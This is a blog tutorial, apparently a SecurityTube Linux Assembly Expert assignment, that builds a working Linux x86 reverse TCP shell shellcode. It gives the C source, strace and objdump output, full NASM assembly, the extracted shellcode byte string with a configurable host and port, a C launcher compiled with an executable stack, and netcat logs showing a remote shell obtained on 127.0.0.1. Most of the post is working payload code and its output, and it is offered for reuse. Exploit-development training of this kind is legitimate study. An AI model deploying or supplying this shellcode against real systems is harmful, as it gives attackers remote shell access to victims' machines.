INTRODUCTION
This tutorial is part of the SecurityTube Linux Assembly Expert certification.
The goal of this assignment will be to create a Linux 32bit Shell_Reverse_TCP shellcode, i.e. reverse connects to configured IP and Port – Execs shell on successful connection.
The tutorial will contain example source with comments. Listed source code may have formatting issues so best place to obtain copies is from the projects Github repo.
Expected usage of this shellcode will be that when it’s executed on the ‘target’ system, the target system will initiate a TCP connection to another IP address and start an interactive shell on the target system.
This assignment will build from the previous bind shell assignment and so will not be reiterating explanations already covered there.
Note: Example shellcode contains null characters to help simplify demonstration and processor registers have not been cleared which may lead to issues if used within an exploit.
Erratum: Example shellcode has a new null free version which has been used for ‘Assignment 3 Egg Hunter’ example.
[target]->[client host:port]
METHODOLOGY
- Write shellcode in high level language, c.
- Extrapolate system calls and parameters to equivalent assembly code.
- Take assembly code of shellcode, place into high level language as array of hex values and run shellcode directly from program’s stack.
High Level Language Shellcode
#include <sys/socket.h> #include <sys/types.h> #include #include #include <netinet/in.h> int main(void) { char client_ip[] = "127.0.0.1"; //IP address this program will connect back to int sock_file_descripter; int network_port = 3333;//tcp port that shell will bind to struct sockaddr_in mysockaddr; sock_file_descripter = socket(AF_INET, SOCK_STREAM, 0); //Initialize sockaddr_in struct with remote ip address to connect to mysockaddr.sin_family = AF_INET; //2, TCP protocol mysockaddr.sin_port = htons(network_port);//tcp port to connect on remote host mysockaddr.sin_addr.s_addr = inet_addr(client_ip);//IP address of remote host to connect back to. connect(sock_file_descripter, (struct sockaddr *)&mysockaddr, sizeof(struct sockaddr)); dup2(sock_file_descripter, 0); //stdin dup2(sock_file_descripter, 1); //stdout dup2(sock_file_descripter, 2); //stderror execve("/bin/sh", NULL, NULL);//Execute shell command return 0; }
reverse_shellcode.c
Compile using gcc
#gcc -g -static reverse_shellcode.c -o reverse_shellcode
Test shellcode
Start netcat listener on client
client$ nc -lvvvp 3333 listening on [any] 3333 ...
Start shellcode on target
$ ./reverse_shellcode
Client netcat listener will receive connection from target
client$ nc -lvvvp 3333 listening on [any] 3333 ... connect to [127.0.0.1] from localhost [127.0.0.1] 57128
Client can issue shell command ‘id’ and receive result
client$ nc -lvvvp 3333 listening on [any] 3333 ... connect to [127.0.0.1] from localhost [127.0.0.1] 57128 id uid=1000(remote) gid=1001(remote) groups=1001(remote) exit sent 8, rcvd 54
Shellcode Assembly
Our high level shellcode makes some system calls and we need to only extrapolate the assembly code which interests us.
These are the c function calls which interest us:
- socket()
- connect()
- dup2()
- execve()
Run strace to help visualize calls:
target$ strace -e socket,connect,dup2,execve ./reverse_shellcode execve("./reverse_shellcode", ["./reverse_shellcode"], [/* 30 vars */]) = 0 socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3 connect(3, {sa_family=AF_INET, sin_port=htons(3333), sin_addr=inet_addr("127.0.0.1")}, 16) = 0 dup2(3, 0) = 0 dup2(3, 1) = 1 dup2(3, 2) = 2 execve("/bin/sh", [0], [/* 0 vars */]) = 0 --- SIGCHLD (Child exited) @ 0 (0) ---
strace output shows that after the shellcode binary is run the first system call is socket() with three parameters passed.
Next system call is connect() with three parameters. One of the parameters is a structure. We can obtain more detail from the man docs and by debugging.
dup2() is called three times with two parameters each time.
execve() is called with three parameters.
To recap, all the system call meanings have already been covered in assignment #1 of the bindshell except for connect(). In the following sections I will demonstrate how to go about obtaining information about the connect() syscall from Linux man docs, Linux kernel headers and the Gnu debugger. Or Google.
connect()
target$ man connect ---snip--- connect - initiate a connection on a socket ... int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen); DESCRIPTION The connect() system call connects the socket referred to by the file descriptor sockfd to the address specified by addr. The addrlen argument specifies the size of addr. The format of the address in addr is determined by the address space of the socket sockfd; see socket(2) for further details. target$ grep -R sys_connect /usr/include/linux/net.h #define SYS_CONNECT 3 /* sys_connect(2) */ Summary Syscall name: connect Syscall number: 3 Number of params: 3 Param 1: Socket file descriptor from previous socket() call Param 2: Pointer to structure {2, 3333, 127.0.0.1} Param 3: 16, length of param 2 in bytes Returns: 0 on success
ASSEMBLE THE ASSEMBLY CODE
We can easily obtain the shellcode’s assembly representation by disassembling it through Objdump:
Look for main function
target$ objdump -d ./reverse_shellcode -M intel |grep '<_start>:' -A 300|less 08048254 : 8048254: 55 push ebp 8048255: 89 e5 mov ebp,esp 8048257: 83 e4 f0 and esp,0xfffffff0 804825a: 83 ec 40 sub esp,0x40 804825d: c7 44 24 2e 31 32 37 mov DWORD PTR [esp+0x2e],0x2e373231 8048264: 2e 8048265: c7 44 24 32 30 2e 30 mov DWORD PTR [esp+0x32],0x2e302e30 804826c: 2e 804826d: 66 c7 44 24 36 31 00 mov WORD PTR [esp+0x36],0x31 8048274: c7 44 24 3c 05 0d 00 mov DWORD PTR [esp+0x3c],0xd05 804827b: 00 804827c: c7 44 24 08 00 00 00 mov DWORD PTR [esp+0x8],0x0 8048283: 00 8048284: c7 44 24 04 01 00 00 mov DWORD PTR [esp+0x4],0x1 804828b: 00 804828c: c7 04 24 02 00 00 00 mov DWORD PTR [esp],0x2 8048293: e8 78 84 00 00 call 8050710 8048298: 89 44 24 38 mov DWORD PTR [esp+0x38],eax 804829c: 66 c7 44 24 1c 02 00 mov WORD PTR [esp+0x1c],0x2 80482a3: 8b 44 24 3c mov eax,DWORD PTR [esp+0x3c] 80482a7: 0f b7 c0 movzx eax,ax 80482aa: 89 04 24 mov DWORD PTR [esp],eax 80482ad: e8 3e 8d 00 00 call 8050ff0 80482b2: 66 89 44 24 1e mov WORD PTR [esp+0x1e],ax 80482b7: 8d 44 24 2e lea eax,[esp+0x2e] 80482bb: 89 04 24 mov DWORD PTR [esp],eax 80482be: e8 3d 88 00 00 call 8050b00 80482c3: 89 44 24 20 mov DWORD PTR [esp+0x20],eax 80482c7: c7 44 24 08 10 00 00 mov DWORD PTR [esp+0x8],0x10 80482ce: 00 80482cf: 8d 44 24 1c lea eax,[esp+0x1c] 80482d3: 89 44 24 04 mov DWORD PTR [esp+0x4],eax 80482d7: 8b 44 24 38 mov eax,DWORD PTR [esp+0x38] 80482db: 89 04 24 mov DWORD PTR [esp],eax 80482de: e8 6d 83 00 00 call 8050650 80482e3: c7 44 24 04 00 00 00 mov DWORD PTR [esp+0x4],0x0 80482ea: 00 80482eb: 8b 44 24 38 mov eax,DWORD PTR [esp+0x38] 80482ef: 89 04 24 mov DWORD PTR [esp],eax 80482f2: e8 e9 77 00 00 call 804fae0 80482f7: c7 44 24 04 01 00 00 mov DWORD PTR [esp+0x4],0x1 80482fe: 00 80482ff: 8b 44 24 38 mov eax,DWORD PTR [esp+0x38] 8048303: 89 04 24 mov DWORD PTR [esp],eax 8048306: e8 d5 77 00 00 call 804fae0 804830b: c7 44 24 04 02 00 00 mov DWORD PTR [esp+0x4],0x2 8048312: 00 8048313: 8b 44 24 38 mov eax,DWORD PTR [esp+0x38] 8048317: 89 04 24 mov DWORD PTR [esp],eax 804831a: e8 c1 77 00 00 call 804fae0 804831f: c7 44 24 08 00 00 00 mov DWORD PTR [esp+0x8],0x0 8048326: 00 8048327: c7 44 24 04 00 00 00 mov DWORD PTR [esp+0x4],0x0 804832e: 00 804832f: c7 04 24 c8 af 0a 08 mov DWORD PTR [esp],0x80aafc8 8048336: e8 f5 74 00 00 call 804f830 804833b: b8 00 00 00 00 mov eax,0x0 8048340: c9 leave 8048341: c3 ret
After tracing the shellcode through Gnu debugger this is my final assembly code presented in nasm format.
; shellcode.asm ; Author: Mutti K ; Purpose: Demonstration of simple reverse shell ; Note: null values have not been omitted for the purpose of simplification. global _start section .text _start: ; socket() mov eax, 0x66 ;socketcall() mov ebx, 0x1 ; socket() socketcall() sub call number push 0x0 ; Param 3. Reverse order params onto stack push 0x1 ; Param 2 push 0x2 ; Param 1 mov ecx, esp ; store stack point of socket arguments int 0x80 mov esi, eax ; store newly created socket file descriptor for later use ; connect() mov eax, 0x66 ;socketcall() mov ebx, 0x3 ; connect() socketcall() sub call number ;Create structure on stack for param 2. push 0x00000000 ; bytes 16-12, not needed push 0x00000000 ; bytes 12-18, not needed push 0x0100007f ; bytes 8-4, connect to ip address 127.0.0.1. 127d 0d 0d 1d = reverse 01h 00h 00h 7fh push WORD 0x050d ; Port number to listen on 3333d d05h. Reverse byte order and in hex, bytes 4-2 push WORD 0x02 ; AF_INET, bytes 2-0 mov edi, esp ; store pointer to structure for param 2 of bind() ; Reverse order params for bind() onto stack push 0x10 ; Param 3 is length of param 2 structure push edi ; Param 2 pointer to structure push esi ; Param 1, socket file descriptor from socket() call mov ecx, esp ; store stack point of socket arguments int 0x80 ; dup2() mov eax, 0x3f ; dup2() mov ecx, 0x0 ; oldfd, stdin mov ebx, esi ; newfd, returned fd from socket() int 0x80 ; dup2() mov eax, 0x3f ; dup2() mov ecx, 0x1 ; oldfd, stdout mov ebx, esi ; newfd, returned fd from socket() int 0x80 ; dup2() mov eax, 0x3f ; dup2() mov ecx, 0x2 ; oldfd, stderror mov ebx, esi ; newfd, returned fd from socket() int 0x80 ; execve() mov edx, 0x0 ; Param 3, null mov ecx, 0x0 ; Param 2, null ;create string on stack /bin/sh push 0x0068732f ; hs/ push 0x6e69622f ; nib/ mov ebx, esp ; Param 1 store pointer to string mov eax, 0xb ; execve() int 0x80
To compile, issue
target$ nasm -f elf32 -o shellcode.o shellcode.nasm target$ ld -o shellcode shellcode.o
Final test is to see if it can run within skeleton c code from the stack.
Convert shellcode to byte representations
$ for i in `objdump -d shellcode | tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2}$' ` ; do echo -n "\x$i" ; done \xb8\x66\x00\x00\x00\xbb\x01\x00\x00\x00\x6a\x00\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb8\x66\x00\x00\x00\xbb\x03\x00\x00\x00\x6a\x00\x6a\x00\x68\x7f\x00\x00\x01\x66\x68\x0d\x05\x66\x6a\x02\x89\xe7\x6a\x10\x57\x56\x89\xe1\xcd\x80\xb8\x3f\x00\x00\x00\xb9\x00\x00\x00\x00\x89\xf3\xcd\x80\xb8\x3f\x00\x00\x00\xb9\x01\x00\x00\x00\x89\xf3\xcd\x80\xb8\x3f\x00\x00\x00\xb9\x02\x00\x00\x00\x89\xf3\xcd\x80\xba\x00\x00\x00\x00\xb9\x00\x00\x00\x00\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\xb8\x0b\x00\x00\x00\xcd\x80
Place shellcode into skeleton c code and modify slightly to allow configurable port number.
#include #include #define PORT_NUMBER "\x0d\x05" //od05 = 3333d #define HOST "\x7f\x00\x00\x01" //7fh 00h 00h 01h = 127d 0d 0d 0d 1d unsigned char code[] = \ "\xb8\x66\x00\x00\x00\xbb\x01\x00" "\x00\x00\x6a\x00\x6a\x01\x6a\x02" "\x89\xe1\xcd\x80\x89\xc6\xb8\x66" "\x00\x00\x00\xbb\x03\x00\x00\x00" "\x6a\x00\x6a\x00\x68"HOST "\x66\x68"PORT_NUMBER"\x66\x6a\x02" "\x89\xe7\x6a\x10\x57\x56\x89\xe1" "\xcd\x80\xb8\x3f\x00\x00\x00\xb9" "\x00\x00\x00\x00\x89\xf3\xcd\x80" "\xb8\x3f\x00\x00\x00\xb9\x01\x00" "\x00\x00\x89\xf3\xcd\x80\xb8\x3f" "\x00\x00\x00\xb9\x02\x00\x00\x00" "\x89\xf3\xcd\x80\xba\x00\x00\x00" "\x00\xb9\x00\x00\x00\x00\x68\x2f" "\x73\x68\x00\x68\x2f\x62\x69\x6e" "\x89\xe3\xb8\x0b\x00\x00\x00\xcd\x80"; main() { printf("Shellcode Length: %d\n", sizeof(code)-1); int (*ret)() = (int(*)())code; ret(); }
And compile new test code with executable stack.
target$ gcc -o ./reverse_shellcode_skeleton shellcode_skeleton.c -fno-stack-protector -z execstack
Test the reverse bind shell by connecting to netcat listener on 127.0.0.1 port 3333
start listener
$ nc -lvvvp 3333 listening on [any] 3333 ...
Start reverse shellcode on target
$ ./reverse_shellcode_skeleton Shellcode Length: 129
listener receives tcp connection and interacts with remote shell
$ nc -lvvvp 3333
listening on [any] 3333 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 57352
id
uid=1000(remote) gid=1001(remote) groups=1001(remote)
exit
sent 8, rcvd 54
Thank you
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student-ID: SLAE-473
Pingback: SLAE-473 ASSIGNMENT #3 Egg Hunter Shellcode | youremindmeofmymother
Reblogged this on youremindmeofmymother.